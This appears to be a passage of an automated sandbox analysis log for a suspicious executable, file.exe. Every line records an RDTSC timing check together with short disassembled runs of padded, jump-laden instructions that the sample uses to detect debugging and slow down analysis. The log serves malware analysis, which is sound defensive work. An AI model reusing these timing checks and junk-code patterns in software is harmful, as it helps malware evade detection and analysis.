Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FC17 second address: 68FC1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FD6C second address: 68FD72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FF43 second address: 68FF4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FF4B second address: 68FF4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938B3 second address: 6938B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938B8 second address: 6938BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938BE second address: 6938C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938C4 second address: 6938CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938CC second address: 6938D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938D2 second address: 6938DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F865D1C5546h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693426 second address: 69345C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192E8h 0x00000009 jmp 00007F865CD192E9h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69345C second address: 693468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F865D1C5546h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6935EA second address: 6935EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6935EE second address: 693606 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F865D1C5546h 0x00000008 jmp 00007F865D1C554Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695EEC second address: 695EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695EF2 second address: 695EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8297 second address: 6A82AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA4B9 second address: 6BA4D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5551h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA5F3 second address: 6BA5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA5F7 second address: 6BA611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F865D1C554Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA611 second address: 6BA62F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E4h 0x00000007 jnp 00007F865CD192EAh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4757 second address: 6D475B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D475B second address: 6D4764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D354D second address: 6D3566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F865D1C5552h 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D371D second address: 6D3723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3E5E second address: 6D3E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865D1C5559h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3E7B second address: 6D3EA1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jg 00007F865CD192D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F865CD192E7h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3EA1 second address: 6D3EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3EA7 second address: 6D3EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3EAD second address: 6D3ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F865D1C554Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F865D1C554Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3ED0 second address: 6D3ED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D405E second address: 6D4062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4062 second address: 6D406A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D406A second address: 6D4074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F865D1C5546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4344 second address: 6D4364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F865CD192E1h 0x0000000b popad 0x0000000c js 00007F865CD192E2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D73FE second address: 6D740F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D775A second address: 6D7784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F865CD192E9h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F865CD192D8h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA279 second address: 6DA294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jbe 00007F865D1C5576h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA294 second address: 6DA298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10325 second address: 4E10335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10335 second address: 4E10339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10339 second address: 4E10348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10348 second address: 4E1034C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1034C second address: 4E10364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5554h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10364 second address: 4E1039B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F865CD192E1h 0x00000009 or si, 1E86h 0x0000000e jmp 00007F865CD192E1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1039B second address: 4E103A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E103A1 second address: 4E103C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F865CD192DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E103C6 second address: 4E103CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E103CC second address: 4E103D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0E4D second address: 4DF0E67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0E67 second address: 4DF0E8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F865CD192E0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0E8C second address: 4DF0E9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30F18 second address: 4E30F35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30F35 second address: 4E30F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30F45 second address: 4E30F68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F865CD192DBh 0x00000014 push eax 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30F68 second address: 4E30F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD00F7 second address: 4DD00FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD00FB second address: 4DD0112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5553h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0112 second address: 4DD018D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F865CD192E1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F865CD192DEh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F865CD192DDh 0x00000020 or esi, 4F248F36h 0x00000026 jmp 00007F865CD192E1h 0x0000002b popfd 0x0000002c call 00007F865CD192E0h 0x00000031 pop ecx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD018D second address: 4DD01CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ecx, 68AF4AB3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+04h] 0x00000010 jmp 00007F865D1C5556h 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F865D1C5557h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD01CF second address: 4DD01D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD01D5 second address: 4DD01D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0BF3 second address: 4DF0BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0BF9 second address: 4DF0BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0BFD second address: 4DF0C79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F865CD192E6h 0x0000000e push eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F865CD192E1h 0x00000016 and cl, FFFFFFB6h 0x00000019 jmp 00007F865CD192E1h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F865CD192E0h 0x00000025 or cx, 5CD8h 0x0000002a jmp 00007F865CD192DBh 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 mov ebx, esi 0x00000035 mov ecx, 32ECA987h 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0C79 second address: 4DF0C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0C7E second address: 4DF0C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0C84 second address: 4DF0C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0C88 second address: 4DF0C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0C8C second address: 4DF0CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, 77h 0x0000000e mov edi, 0D9C0280h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF077F second address: 4DF0786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bl 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0786 second address: 4DF082B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F865D1C5559h 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F865D1C554Eh 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 call 00007F865D1C554Eh 0x0000001b pushfd 0x0000001c jmp 00007F865D1C5552h 0x00000021 sub ax, D728h 0x00000026 jmp 00007F865D1C554Bh 0x0000002b popfd 0x0000002c pop esi 0x0000002d push ebx 0x0000002e pushfd 0x0000002f jmp 00007F865D1C5554h 0x00000034 or eax, 21C90988h 0x0000003a jmp 00007F865D1C554Bh 0x0000003f popfd 0x00000040 pop ecx 0x00000041 popad 0x00000042 pop ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F865D1C5552h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF06EA second address: 4DF070E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx eax, dx 0x0000000e push eax 0x0000000f push edx 0x00000010 mov di, 518Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF041A second address: 4DF0420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0420 second address: 4DF0424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0424 second address: 4DF0428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0428 second address: 4DF046B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F865CD192DCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F865CD192E0h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F865CD192E7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF046B second address: 4DF04D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F865D1C554Fh 0x00000009 sbb ax, ECCEh 0x0000000e jmp 00007F865D1C5559h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F865D1C5550h 0x0000001a add cx, 8548h 0x0000001f jmp 00007F865D1C554Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 pop ebp 0x00000029 pushad 0x0000002a pushad 0x0000002b mov eax, 13778351h 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF04D1 second address: 4DF04D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00258 second address: 4E0025E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0025E second address: 4E00262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00262 second address: 4E002ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F865D1C5556h 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 movzx esi, dx 0x00000015 mov ebx, 76828E9Eh 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F865D1C554Bh 0x00000024 sub si, DB4Eh 0x00000029 jmp 00007F865D1C5559h 0x0000002e popfd 0x0000002f push esi 0x00000030 movsx edx, cx 0x00000033 pop ecx 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F865D1C5550h 0x0000003f sub ax, 2AF8h 0x00000044 jmp 00007F865D1C554Bh 0x00000049 popfd 0x0000004a mov cx, 882Fh 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002ED second address: 4E002F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002F3 second address: 4E002F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002F7 second address: 4E002FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30E79 second address: 4E30E7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30E7F second address: 4E30E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10783 second address: 4E1079F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 3EBEh 0x00000007 mov si, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F865D1C554Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1079F second address: 4E107A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E107A3 second address: 4E107A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E107A9 second address: 4E107AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E107AF second address: 4E107B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E107B3 second address: 4E107D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F865CD192E4h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 movzx ecx, di 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E107D8 second address: 4E107FE instructions: 0x00000000 rdtsc 0x00000002 mov eax, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebp+08h] 0x0000000a pushad 0x0000000b mov cl, 8Dh 0x0000000d push ebx 0x0000000e pop edx 0x0000000f popad 0x00000010 and dword ptr [eax], 00000000h 0x00000013 pushad 0x00000014 mov di, EEDEh 0x00000018 popad 0x00000019 and dword ptr [eax+04h], 00000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movzx ecx, bx 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
